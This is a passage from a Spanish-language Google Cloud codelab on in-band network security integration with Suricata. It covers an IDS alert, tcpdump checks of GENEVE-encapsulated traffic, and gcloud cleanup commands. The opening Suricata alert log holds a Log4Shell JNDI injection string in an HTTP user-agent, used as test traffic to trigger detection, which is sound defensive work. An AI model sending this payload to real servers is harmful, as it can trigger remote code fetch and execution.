{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Además, las capturas de paquetes serían una buena forma de ver y validar el tráfico.
Este comando filtrará los paquetes GENEVE. Comando de ejemplo:
sudo tcpdump -i any -nn udp port 6081
Ahora, envía un par de pruebas de tráfico desde una VM de consumidor. Resultado de muestra:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Observa que, con tcpdump, puedes ver los encabezados de GENEVE. La IP de origen es la de la puerta de enlace de la subred (10.0.0.1) y la IP de destino es la de la regla de reenvío (10.0.0.11 o 10.0.0.12). Los paquetes encapsulados contienen los paquetes originales: la IP del cliente de consumer-$zonea (192.168.0.2) o consumer-$zoneb (192.168.0.3) y el destino google.com. Esto confirma que los paquetes se interceptan y se envían al dispositivo de terceros a través de la integración de seguridad de red.
- Sal de la sesión de SSH para regresar a Cloud Shell
exit
Felicitaciones. Implementaste y probaste correctamente un entorno con la integración de seguridad de redes (NSI) en banda.
5. Limpieza
Consumidor
Borra las VMs de consumidor:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Borra la asociación y la política de firewall:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Borra el grupo de perfiles de seguridad y el perfil de seguridad:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Borra la asociación de extremos y los grupos de extremos de intercepción:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Borra Cloud NAT, Cloud Router y la IP reservada
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Borra la VPC y las subredes
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Productor
Borra las implementaciones de intercepción:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Borra el grupo de implementación de la interceptación (las implementaciones de la interceptación deben terminar de borrarse antes de que este comando se ejecute correctamente):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Borra las reglas de reenvío:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Borra la IP reservada de la regla de reenvío:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Borra el servicio de backend:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Borra los grupos de instancias no administrados:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Borra la verificación de estado:
gcloud compute health-checks delete nva-hc -q
Borra las VMs de Producer:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Borra Cloud NAT, Cloud Router y la IP reservada:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Borra la asociación de política de FW:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Borra la política de FW:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Borra la VPC y la subred
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. ¡Felicitaciones!
¡Felicitaciones! Completaste correctamente el codelab de integración de seguridad de redes en banda con Suricata.
Mira los videos de demostración específicos del proveedor de la integración en banda de NSI:
Consulta algunas de las guías de implementación específicas del proveedor que pueden ser relevantes para tu organización: